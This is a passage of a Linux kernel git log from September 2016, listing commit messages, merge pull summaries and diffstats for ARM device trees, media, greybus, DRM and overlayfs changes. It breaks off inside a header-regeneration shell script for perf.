i2c bus ARM64: dts: meson-gxbb: add I2C nodes ARM64: dts: meson-gxbb: add pins for I2C ARM64: dts: meson-gxbb: Add SPIFC node ARM64: dts: meson-gxbb: add the SDIO pins ARM64: dts: amlogic: add spi nor pins ARM64: dts: meson-gxbb: use the new GXBB DWMAC glue driver ARM64: dts: meson-gxbb: Add Meson GXBB PWM Controller nodes ARM64: dts: meson-gxbb: Add Meson MHU Node ARM64: dts: amlogic: enable ethernet on all Tronsmart Vega S95 devices commit 5e3deb4dc322060955280a768c0db6af3ed04af5 Author: Tiffany Lin Date: Tue Sep 6 02:51:45 2016 -0300 [media] vcodec: mediatek: Add V4L2_CAP_TIMEPERFRAME capability setting This patch setting V4L2_CAP_TIMEPERFRAME capability in vidioc_venc_s/g_parm functions Signed-off-by: Tiffany Lin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/mtk-vcodec/mtk_vcodec_enc.c | 3 +++ 1 file changed, 3 insertions(+) commit 96c11dd2f0d76dc316d3810bfe824b12c70e4701 Author: Bryant G. Ly Date: Fri Sep 16 09:25:56 2016 -0500 scsi: ibmvscsis: Fixed unused variable [mkp: applied by hand] Signed-off-by: Bryant G. Ly Reviewed-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 3 --- 1 file changed, 3 deletions(-) commit 53cf70028c28cf4a43581cd639610762fe8bcdd7 Author: Colin Ian King Date: Thu Aug 18 12:54:57 2016 -0300 [media] pxa_camera: fix spelling mistake: "dequeud" -> "dequeued" trivial fix to spelling mistake in pr_debug message Signed-off-by: Colin Ian King Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 49fc9361db78a598c53134d083b84f15492da3bc Author: Benjamin Gaignard Date: Thu Sep 15 04:37:46 2016 -0300 [media] add maintainer for stih-cec driver Signed-off-by: Benjamin Gaignard Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 53570cbc189257d2e95c79e6baa9e12b0a3b3cdf Merge: bac6dd3 dfdd7d4 Author: Arnd Bergmann Date: Mon Sep 19 17:49:07 2016 +0200 Merge tag 'amlogic-drivers-2' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic into next/late Pull "Amlogic driver updates for v4.9, 2nd round" from Kevin Hilman: - media: update IR support for newer SoCs - firmware: add secure monitor driver - net: new stmmac glue driver - usb: udd DWC2 support for meson-gxbb - clocks: expose more clock IDs for use by DT - DT binding updates * tag 'amlogic-drivers-2' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic: (21 commits) clk: gxbb: expose i2c clocks clk: gxbb: expose USB clocks clk: gxbb: expose spifc clock clk: gxbb: expose MPLL2 clock for use by DT Documentation: dt-bindings: Add documentation for the Meson USB2 PHYs usb: dwc2: add support for Meson8b and GXBB SoCs net: stmmac: update the module description of the dwmac-meson driver net: stmmac: add a glue driver for the Amlogic Meson 8b / GXBB DWMAC stmmac: introduce get_stmmac_bsp_priv() helper net: dt-bindings: Document the new Meson8b and GXBB DWMAC bindings clk: meson-gxbb: Export PWM related clocks for DT meson: clk: Add support for clock gates gxbb: clk: Adjust MESON_GATE macro to be shared with meson8b clk: meson: Copy meson8b CLKID defines to private header file meson: clk: Rename register names according to Amlogic datasheet meson: clk: Move register definitions to meson8b.h clk: meson: Rename meson8b-clkc.c to reflect gxbb naming convention nvmem: amlogic: Add Amlogic Meson EFUSE driver firmware: Amlogic: Add secure monitor driver media: rc: meson-ir: Add support for newer versions of the IR decoder ... commit 7d1837f2a35fcbeda5ce0c9d47f9f76d412bac3e Author: Benjamin Gaignard Date: Thu Sep 15 04:37:45 2016 -0300 [media] add stih-cec driver into DT Signed-off-by: Benjamin Gaignard Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab arch/arm/boot/dts/stih407-family.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 60fe2bda39a1c51d94ac514cfe68dabb11579c2b Author: Benjamin Gaignard Date: Thu Sep 15 04:37:44 2016 -0300 [media] add stih-cec driver This patch implement CEC driver for stih4xx platform. Driver compliance has been test with cec-ctl and cec-compliance tools. Signed-off-by: Benjamin Gaignard Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/Kconfig | 2 + drivers/staging/media/Makefile | 1 + drivers/staging/media/st-cec/Kconfig | 8 + drivers/staging/media/st-cec/Makefile | 1 + drivers/staging/media/st-cec/stih-cec.c | 380 ++++++++++++++++++++++++++++++++ 5 files changed, 392 insertions(+) commit 2008ee090c1b76dbbc435a39a6932854ee98d213 Merge: b994738 d137992 Author: Arnd Bergmann Date: Mon Sep 19 17:46:56 2016 +0200 Merge tag 'samsung-dt-pinctrl-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/dt Pull "Topic branch for Samsung DeviceTree cleanup for 4.9" from Krzysztof Kozłowski: Replace in DT sources hard-coded values for pinctrl configuration like pull up/down, drive strength and function. This makes the DTS easier to read, especially that some drive strengths values are quite non-obvious. * tag 'samsung-dt-pinctrl-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: dts: s3c64xx: Use macros for pinctrl configuration ARM: dts: s3c2416: Use macros for pinctrl configuration ARM: dts: s5pv210: Use macros for pinctrl configuration ARM: dts: s3c64xx: Use common macros for pinctrl configuration ARM: dts: exynos: Fix mismatched values of SD drive strengh configuration on exynos4415 ARM: dts: exynos: Fix mismatched value for SD4 pull up/down configuration on exynos4210 ARM: dts: exynos: Use macros for pinctrl configuration on exynos542x/exynos5800 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5410 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5260 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5250 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4415 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4x12 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4210 ARM: dts: exynos: Use macros for pinctrl configuration on exynos3250 ARM: dts: exynos: Use common macros for pinctrl configuration pinctrl: dt-bindings: samsung: Update documentation with new macros pinctrl: dt-bindings: samsung: Add header with values used for configuration commit c1a2f9898ace7f53cd5219480587b07c04e69c9b Author: Benjamin Gaignard Date: Thu Sep 15 04:37:43 2016 -0300 [media] bindings for stih-cec driver Add bindings documentation for stih-cec driver. Signed-off-by: Benjamin Gaignard Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab .../devicetree/bindings/media/stih-cec.txt | 25 ++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit b994738bd2b38bbf60b9410bafc977858c801d7a Merge: 71e84db 5271d00 Author: Arnd Bergmann Date: Mon Sep 19 17:45:36 2016 +0200 Merge tag 'samsung-dt-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/dt Pull "Samsung DeviceTree update for v4.9, second round" from Krzysztof Kozłowski: 1. Enable HDMI on Arndale Octa board. 2. Update list of clocks for FIMC-IS block on Exynos4x12. 3. Remove skeleton.dtsi thus fixing DT compiler warning: "Node /memory has a reg or ranges property, but no unit name" This is a tree-wide effort by various people. Javier Martinez Canillas did it for Exynos and S5PV210. * tag 'samsung-dt-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: dts: s5p: Add missing unit name to memory nodes for S5PV210 boards ARM: dts: s5p: Remove skeleton.dtsi inclusion for S5PV210 ARM: dts: exynos: Add missing unit name to memory nodes in Exynos5 DTS ARM: dts: exynos: Add missing unit name to memory nodes in Exynos4 DTS ARM: dts: exynos: Add missing unit name to memory nodes in Exynos3 DTS ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos5 ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos4 ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos3 ARM: dts: exynos: Add missing memory node for Exynos5440 boards ARM: dts: exynos: Add all required FIMC-IS clocks to exynos4x12 ARM: dts: exynos: Enable HDMI for Arndale Octa board commit 71e84db1aab65ba71cb6d6d26b0f1e0d2eacc65b Merge: 590b906 a2a2b82 Author: Arnd Bergmann Date: Mon Sep 19 17:40:13 2016 +0200 Merge tag 'omap-for-v4.9/dt-pt2-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/dt Pull "omap dts updates for v4.9 merge window, part 2" from Tony Lindgren: Part two of device tree changes for omaps for v4.9 merge window. This is mostly usability and non-critical fixes except for the addition of beagleboard-x15 rev B1 support: - Fix omap4 pandaboard SDIO WLAN latencies in idle mode by enabling wakeirq - Usability fixes for WLAN, USB, LEDs and power button on omap5 boards - Remove am57xx beagleboard-x15 pinmux configuration as the processor requires that it's done in IO isolation in bootloader except for MMC and DCAN - Add support for beagleboard-x15 rev B1 by moving most of the configuration to am57xx-beagle-x15-common.dtsi - Enable support for more than 2GB of memory for omap5 with LPAE with #address-cells - Fix omap3-gta04 backlight PWM frequency until the PWM driver - Revert am335x dts changes related to cpufreq as the driver changes still have not merged and the dts changes broke cpufreq * tag 'omap-for-v4.9/dt-pt2-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: Revert "ARM: dts: dra7: Move to operating-points-v2 table" Revert "ARM: dts: am33xx: Move to operating-points-v2 table and ti-cpufreq driver" Revert "ARM: dts: am335x-boneblack: Enable 1GHz OPP for cpu" ARM: dts: omap3-gta04: reduce panel backlight PWM frequency to 83Hz ARM: dts: Add support for more than 2GB of memory for omap5 ARM: dts: am57xx-beagle-x15: Add support for rev B1 ARM: dts: am57xx-beagle-x15: Remove pinmux configurations for erratum i869 ARM: dts: Fix LEDs for igepv5 ARM: dts: Add power button support for igepv5 ARM: dts: Configure omap5 OTG ID pin ARM: dts: ARM: dts: Fix omap5 SDIO dat1 interrupt ARM: dts: Configure panda SDIO WLAN wakeirq commit 590b9066185aebfd280bb94b033cf1ed44ac467e Merge: 3179798 9304af1 Author: Arnd Bergmann Date: Mon Sep 19 17:38:38 2016 +0200 Merge tag 'davinci-for-v4.9/dts-p2' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci into next/dt Pull "DaVinci DTS updates for v4.9 (part 2)" from Sekhar Nori: This pull request adds NAND support to DA850 based LCDK board. * tag 'davinci-for-v4.9/dts-p2' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci: ARM: dts: da850-lcdk: Add NAND to DT commit 3179798debad2a7ba82e96c24712d04a1aee4c9f Merge: a60bb26 3a74152 Author: Arnd Bergmann Date: Mon Sep 19 17:37:07 2016 +0200 Merge tag 'sti-dt-for-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti into next/dt Pull "STi clock improvement for video playback" from Patrice Chotard: This serie allows to increase video resolutions and make audio adjustment during a video playback for STiH407 family socs. * tag 'sti-dt-for-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti: ARM: dts: STiH410: clock configuration to address 720p and 1080p ARM: dts: STi: STiH407: clock configuration to address 720p and 1080p ARM: dts: STiH418: Enable synchronous clock mode for video clocks ARM: dts: STiH410: Enable synchronous clock mode for video clocks ARM: dts: STiH407: Enable synchronous clock mode for video clocks ARM: dts: STiH418: Enable clock propagation for audio clocks ARM: dts: STiH410: Enable clock propagation for audio clocks ARM: dts: STiH407: Enable clock propagation for audio clocks ARM: dts: STiH4xx: Simplify clock binding of STiH4xx platforms commit a60bb261dd8c50adba8d8f1c479e01a5d978ae65 Merge: e407748 443fd7c Author: Arnd Bergmann Date: Mon Sep 19 17:35:33 2016 +0200 Merge tag 'sti-dt-for-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti into next/dt Pull "STi dts update" from Patrice Chotard: Update gpio-cells and gpio specifier for STiH415/416 Add PWM capture support for STiH416 and STiH407 family Add USB3 support for B2260 Add HVA support for STiH410 Add clk_ignore_unused in bootargs of B2260 Add Flexible Direct Memory Access (FDMA) support for STiH407 family Add internal audio codec IP spport for STiH407 family Add uniperif player/reader IP blocks for STiH407 family * tag 'sti-dt-for-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti: (22 commits) ARM: DT: STi: stihxxx-b2120: Add DT nodes for STi audio card ARM: STi: DT: STiH407: Add uniperif reader dt nodes ARM: STi: DT: STiH407: Add uniperif player dt nodes ARM: STi: DT: STiH407: Add sti-sasg-codec dt node ARM: DT: STiH407: Add spdif_out pinctrl config ARM: DT: STiH407: Add i2s_in pinctrl configuration ARM: DT: STiH407: Add i2s_out pinctrl configuration ARM: STi: DT: STiH407: Add FDMA driver dt nodes. ARM: dts: STiH410: Add hva dt nodes ARM: dts: STiH410-b2260: add clk_ignore_unused in bootargs ARM: dts: STiH410-b2260: add USB3 node ARM: dts: STiH416: Define the number of PWM Capture channels ARM: dts: STiH416: Define PWM Capture clock ARM: dts: STiH416: Declare PWM Capture data lines via Pinctrl ARM: dts: STiH416: Supply PWM Capture IRQs ARM: dts: STiH407: Declare PWM Capture data lines via Pinctrl ARM: dts: STiH407: Supply PWM Capture IRQ ARM: dts: STiH416-b2020e: update gpio specifier ARM: dts: STiH41x-b2000: update gpio specifier ARM: dts: STiHxxx-b2120: update gpio specifier ... commit e4077485ddb64a4652e9e82e943b187fd7f1f4ac Merge: fb90bc5 a29c830 Author: Arnd Bergmann Date: Mon Sep 19 17:31:45 2016 +0200 Merge tag 'amlogic-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic into next/dt Pull "Amlogic DT updates for v4.9" from Kevin Hilman: - add PWM support * tag 'amlogic-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic: ARM: dts: meson8b: Add Meson8b PWM Controller nodes commit fb90bc50602b34cb3d45bbcd1ba5d527c575dc2e Merge: 3598f24 d303633 Author: Arnd Bergmann Date: Mon Sep 19 17:30:06 2016 +0200 Merge tag 'mvebu-dt-4.9-2' of git://git.infradead.org/linux-mvebu into next/dt Pull "mvebu dt for 4.9 (part 2)" from Gregory CLEMENT: - convert orion5x based SoC Netgear WNR854T to devicetree - remove obsolete orion-gpio binding description * tag 'mvebu-dt-4.9-2' of git://git.infradead.org/linux-mvebu: ARM: dts: orion5x: Configure WNR854T ethernet PHY LEDs ARM: dts: orion5x: Add description for Netgear WNR854T ARM: dts: arm: orion5x: Add DT include for mv88f5181 dt-bindings: arm: add DT binding for Marvell Orion5x SoC family ARM: dts: orion5x: Add required properties for orion-wdt to DT node dt-binding: mrvl-gpio: remove orion-gpio description commit 3598f2470b286113c17e85d6f97145b4fbe67ef9 Merge: 9b81a8c e46f48a Author: Arnd Bergmann Date: Mon Sep 19 17:28:09 2016 +0200 Merge tag 'at91-ab-4.9-dt1' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux into next/dt Pull "DT Changes for 4.9" from Alexandre Belloni: - add ETM and ETB nodes on sama5d2 * tag 'at91-ab-4.9-dt1' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux: ARM: dts: at91: sama5d2: add ETM and ETB nodes commit 3f0958d8aea708019d52962a7a8fe827d9f9006c Author: Ard Biesheuvel Date: Thu Sep 15 15:28:20 2016 +0100 ARM: multi_v7_defconfig: enable CONFIG_EFI This enables CONFIG_EFI for multi_v7_defconfig, which adds support for booting via EFI, and for the EFI framebuffer as builtin options. It also enables the EFI rtc, the EFI variable pseudo-filesystem and the EFI capsule loader as modules. Signed-off-by: Ard Biesheuvel Signed-off-by: Arnd Bergmann arch/arm/configs/multi_v7_defconfig | 5 +++++ 1 file changed, 5 insertions(+) commit c55b2d989a5b2ef85ad28229484279ac7c2c412a Merge: 7a4c66d 832c927 Author: Arnd Bergmann Date: Mon Sep 19 17:05:14 2016 +0200 Merge tag 'xgene-drivers-for-4.9' of https://github.com/AppliedMicro/xgene-next into next/drivers Pull "X-Gene driver changes queued for v4.9" from Duc Dang: This patch set includes: + X-Gene SoC Performance Monitoring Unit (PMU) driver * tag 'xgene-drivers-for-4.9' of https://github.com/AppliedMicro/xgene-next: perf: xgene: Add APM X-Gene SoC Performance Monitoring Unit driver Documentation: Add documentation for APM X-Gene SoC PMU DTS binding MAINTAINERS: Add entry for APM X-Gene SoC PMU driver commit 7a4c66d0c10ccde344d723e40e0a6b3542ed5bc2 Merge: 70e0588 8bc6bf1 Author: Arnd Bergmann Date: Mon Sep 19 16:58:46 2016 +0200 Merge tag 'samsung-drivers-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/drivers Pull "Samsung drivers/soc update for v4.9" from Krzysztof Kozlowski: 1. Allow compile testing of exynos-mct clocksource driver on ARM64. 2. Document Exynos5433 PMU compatible (already used by clkout driver and more will be coming soon). * tag 'samsung-drivers-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: dt-bindings: EXYNOS: Add Exynos5433 PMU compatible clocksource: exynos_mct: Add the support for ARM64 commit 948c6227e76ef2443b327a409dc8eced92b32bda Author: Greg Kroah-Hartman Date: Fri Sep 9 09:47:01 2016 +0200 staging: greybus: remove CONFIG_PM_RUNTIME from kernel_ver.h The last thing remaining in kernel_ver.h was the setting of CONFIG_PM_RUNTIME, which isn't needed in a in-tree implementation. So remove the setting of this value, and the .h file entirely as that was the last thing left in it. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 2 +- drivers/staging/greybus/bundle.c | 3 +-- drivers/staging/greybus/bundle.h | 2 +- drivers/staging/greybus/camera.c | 2 +- drivers/staging/greybus/es2.c | 1 - drivers/staging/greybus/gbphy.c | 2 +- drivers/staging/greybus/gbphy.h | 2 +- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/kernel_ver.h | 33 --------------------------------- 10 files changed, 7 insertions(+), 43 deletions(-) commit 8eac98b8beb4711c4ab61822cac077fd6660e820 Author: Vivek Goyal Date: Tue Sep 6 13:40:32 2016 -0400 ovl: during copy up, switch to mounter's creds early Now, we have the notion that copy up of a file is done with the creds of mounter of overlay filesystem (as opposed to task). Right now before we switch creds, we do some vfs_getattr() operations in the context of task and that itself can fail. We should do that getattr() using the creds of mounter instead. So this patch switches to mounter's creds early during copy up process so that even vfs_getattr() is done with mounter's creds. Do not call revert_creds() unless we have already called ovl_override_creds(). [Reported by Arnd Bergmann] Signed-off-by: Vivek Goyal Signed-off-by: Miklos Szeredi fs/overlayfs/copy_up.c | 9 +++------ fs/overlayfs/inode.c | 13 ++++++++----- 2 files changed, 11 insertions(+), 11 deletions(-) commit a0cf5951def318f40eec031c0898ad0140663824 Author: Rui Miguel Silva Date: Thu Sep 8 17:17:52 2016 +0100 staging: greybus: Kconfig: enable possibility to select light driver Remove BROKEN keyword to allow the light driver to be select now that we fixed the kernel version dependencies. Also fix the module name in the help section. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b04f56c6e7ccdc7d09ccd20f28bb4d34a1603ebb Author: Rui Miguel Silva Date: Thu Sep 8 17:17:51 2016 +0100 staging: greybus: makefile: fix dependency of spi to spilib Greybus SPI driver depends on gb-spilib and we need to state that at makefile to make it link correctly. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c90e170fef7df71f09be837e65641cf5c687dce Merge: 4a5c994 d64299d Author: Arnd Bergmann Date: Mon Sep 19 16:48:45 2016 +0200 Merge tag 'imx-soc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/soc Pull "i.MX SoC updates for 4.9" from Shawn Guo: - Set INT_MEM_CLK_LPM bit to get proper WAIT mode support on i.MX6SX. This is a workaround for i.MX6SX WAIT mode hardware issue. - Enable cpuidle support with 3 low-power states (WFI, WAIT, POWER-OFF) for i.MX6UL. * tag 'imx-soc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: imx: build cpuidle-imx6sx.o for imx6ul ARM: imx: add cpuidle support for i.mx6ul ARM: imx: enable WAIT mode hardware workaround for imx6sx ARM: imx: rename imx6q_set_int_mem_clk_lpm() function commit 722a133a6a6687bba21cfdf33bde5767109d0dea Author: Rui Miguel Silva Date: Thu Sep 8 17:17:50 2016 +0100 staging: greybus: power_supply: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus Power Supply driver, so remove the checks as needed, we can now rely on all of the correct Power Supply core apis being present. Also move some properties definitions to the power supply greybus code. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 26 ---------------- drivers/staging/greybus/power_supply.c | 56 +++++++++++----------------------- 2 files changed, 18 insertions(+), 64 deletions(-) commit 2064ae5741f49a3e8c178680390eb296592562c1 Author: Rui Miguel Silva Date: Thu Sep 8 17:17:49 2016 +0100 staging: greybus: sdio: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus SDIO driver, so remove the checks as needed, we can now rely on all of the correct SDIO core apis being present. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 13 ------------- drivers/staging/greybus/sdio.c | 12 ++++-------- 2 files changed, 4 insertions(+), 21 deletions(-) commit 90793df938f11e676880338b94feb4d45cc3701e Merge: 260caad 3481bdc Author: Arnd Bergmann Date: Mon Sep 19 16:47:02 2016 +0200 Merge tag 'imx-cleanup-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/cleanup Pull "i.MX cleanup for 4.9" from Shawn Guo: - Drop i.MX1 board files and make i.MX1 a DT only platform. - Remove obsolete ENET initialization code for TX28 board, since FEC driver handles those setup well now. - A couple of cleanups on i.MX31 IOMUX headers to drop duplications - A few other random and trivial cleanups * tag 'imx-cleanup-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: imx: (trivial) fix typo and grammar ARM: imx: use IS_ENABLED() instead of checking for built-in or module ARM: imx: remove platform-mxc_rnga ARM: imx: no need to select SMP_ON_UP explicitly ARM: i.MX: Move SOC_IMX1 into 'Device tree only' ARM: i.MX: Remove i.MX1 non-DT support ARM: i.MX: Remove i.MX1 Synertronixx SCB9328 board support ARM: i.MX: Remove i.MX1 Armadeus APF9328 board support ARM: mxs: remove obsolete startup code for TX28 ARM: i.MX31 iomux: remove duplicates with alternate name ARM: i.MX31 iomux: remove plain duplicates commit a7af2fe6d1baa45e73531fb994444fa0f59d8f62 Author: Rui Miguel Silva Date: Thu Sep 8 17:17:48 2016 +0100 staging: greybus: light: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus Light driver, so remove the checks as needed, we can now rely on all of the correct LED core apis being present. And compile only if flash and v4l2 flash is reachable. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 30 -------------- drivers/staging/greybus/light.c | 77 +++++------------------------------- 2 files changed, 10 insertions(+), 97 deletions(-) commit 699fbeeac4668ba921a5f588736a56b332bd31c4 Author: Ville Syrjälä Date: Mon Sep 19 16:33:44 2016 +0300 drm/fb-helper: Fix sparse warnings drm/drm_fb_helper.c:2306:12: warning: symbol 'drm_fb_helper_modinit' was not declared. Should it be static? While at it, move the lefover static inline to the right place. Cc: Daniel Vetter Cc: Sean Paul Signed-off-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474292035-15695-4-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_crtc_helper_internal.h | 7 +++++++ drivers/gpu/drm/drm_fb_helper.c | 2 ++ include/drm/drm_fb_helper.h | 5 ----- 3 files changed, 9 insertions(+), 5 deletions(-) commit c30b4400974fb6da6bc31a0242f90b82b27f5c40 Author: Ville Syrjälä Date: Mon Sep 19 16:33:43 2016 +0300 drm/blend: Fix sparse warnings drm/drm_blend.c:207:5: warning: symbol 'drm_atomic_normalize_zpos' was not declared. Should it be static? Cc: Marek Szyprowski Cc: Benjamin Gaignard Cc: Laurent Pinchart Signed-off-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474292035-15695-3-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_blend.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7434564ca130552f3f873d0a7e87286a16890c32 Author: Greg Kroah-Hartman Date: Thu Sep 8 16:10:50 2016 +0200 staging: greybus: sdio: fix min() type check The 0-day bot pointed out a type difference in one min() call, so fix it up by being explicit about the type being compared. Reported-by: kbuild test robot Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7135ac54cef3c417fa5109179f1b2f2dc6457937 Author: Ville Syrjälä Date: Mon Sep 19 16:33:42 2016 +0300 drm/atomic-helper: Fix sparse warnings drm/drm_atomic_helper.c:1696:6: warning: symbol 'plane_crtc_active' was not declared. Should it be static? Cc: Daniel Vetter Signed-off-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474292035-15695-2-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_atomic_helper.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 148e0b8f48a83008596876befe1d9aed256c8ea1 Author: Greg Kroah-Hartman Date: Thu Sep 8 16:06:27 2016 +0200 staging: greybus: spi: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus SPI and spilib driver, so remove the checks as needed, we can now rely on all of the correct SPI core apis being present. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-core.c | 21 +-------------------- drivers/staging/greybus/kernel_ver.h | 13 ------------- drivers/staging/greybus/spi.c | 21 +-------------------- drivers/staging/greybus/spilib.c | 6 ++---- 4 files changed, 4 insertions(+), 57 deletions(-) commit 3e4b5b883780ed795843f68213c9db3f8d78391e Author: Greg Kroah-Hartman Date: Mon Sep 19 16:41:54 2016 +0200 staging: greybus: gpio: it's CONFIG_GPIOLIB, not CONFIG_GPIO The GPIO dependancy is CONFIG_GPIOLIB, not CONFIG_GPIO, no wonder it wasn't building properly... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b14bb976260077415047737a0032f89275622c96 Author: Greg Kroah-Hartman Date: Thu Sep 8 15:52:06 2016 +0200 staging: greybus: gpio: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus GPIO driver, so remove the checks as needed, we can now rely on all of the correct GPIO core apis being present. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 10 +--------- drivers/staging/greybus/kernel_ver.h | 22 ---------------------- 2 files changed, 1 insertion(+), 31 deletions(-) commit 96106c9729f5d4fad5fe1cb874616d00008a973a Author: Jani Nikula Date: Fri Sep 16 13:06:36 2016 +0300 drm: fix implicit declaration build error on ia64 drivers/gpu/drm/drm_dp_helper.c: In function 'drm_dp_downstream_debug': >> drivers/gpu/drm/drm_dp_helper.c:551:2: error: implicit declaration of >> function 'seq_printf' [-Werror=implicit-function-declaration] seq_printf(m, "\tDP branch device present: %s\n", ^ >> drivers/gpu/drm/drm_dp_helper.c:559:3: error: implicit declaration of >> function 'seq_puts' [-Werror=implicit-function-declaration] seq_puts(m, "\t\tType: DisplayPort\n"); ^ Reported-by: kbuild test robot References: https://lists.freedesktop.org/archives/intel-gfx/2016-September/106638.html Fixes: 80209e5f2c42 ("drm: Add DP branch device info on debugfs") Cc: Mika Kahola Signed-off-by: Jani Nikula Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474020396-14875-1-git-send-email-jani.nikula@intel.com drivers/gpu/drm/drm_dp_helper.c | 1 + 1 file changed, 1 insertion(+) commit f82b77462b8680b84e8cce955b05a6629cb44b36 Author: Wang Nan Date: Wed Sep 14 10:57:29 2016 +0000 tools include: Add mman macros needed by perf for all arch Some macros required by tools/perf/trace/beauty/mmap.c is not support for all architectures. For example, MAP_32BIT is defined on x86 only, alpha doesn't define MADV_HWPOISON and MADV_SOFT_OFFLINE. This patch regenerates mman.h for each arch, defines these missing macros for perf. For missing MADV_*, fall back to asm-generic/mman-common because they are in a 'case ...' statement. For flags, define it to 0. Following is the script to generate this patch: macros=`cat $0 | awk 'V==1 {print}; /^# start macro list/ {V=1}'` rm `find ./tools/arch/ -name mman.h` for arch in `ls tools/arch` do [ -d tools/arch/$arch/include/uapi/asm ] || mkdir -p tools/arch/$arch/include/uapi/asm src=arch/$arch/include/uapi/asm/mman.h target=tools/arch/$arch/include/uapi/asm/mman.h.tmp real_target=tools/arch/$arch/include/uapi/asm/mman.h guard="TOOLS_ARCH_"`echo $arch | awk '{print toupper($0)}'`_UAPI_ASM_MMAN_FIX_H rm -f $target [ -f $src ] && for m in $macros do if grep '#define[ \t]*'$m $src > /dev/null 2>&1 then grep -h '#define[ \t]*'$m $src | sed 's/[ \t]*\/\*.*$//g' >> $target fi done if [ -f $src ] then grep '#include > $target else echo "#include " >> $target fi touch $real_target for m in $macros do if cat << EOF | gcc -Itools/arch/$arch/include -Itools/arch/$arch/include/uapi -Iinclude/ -Iinclude/uapi -E - | grep $m > /dev/null 2>&1 #include #include $m EOF then echo 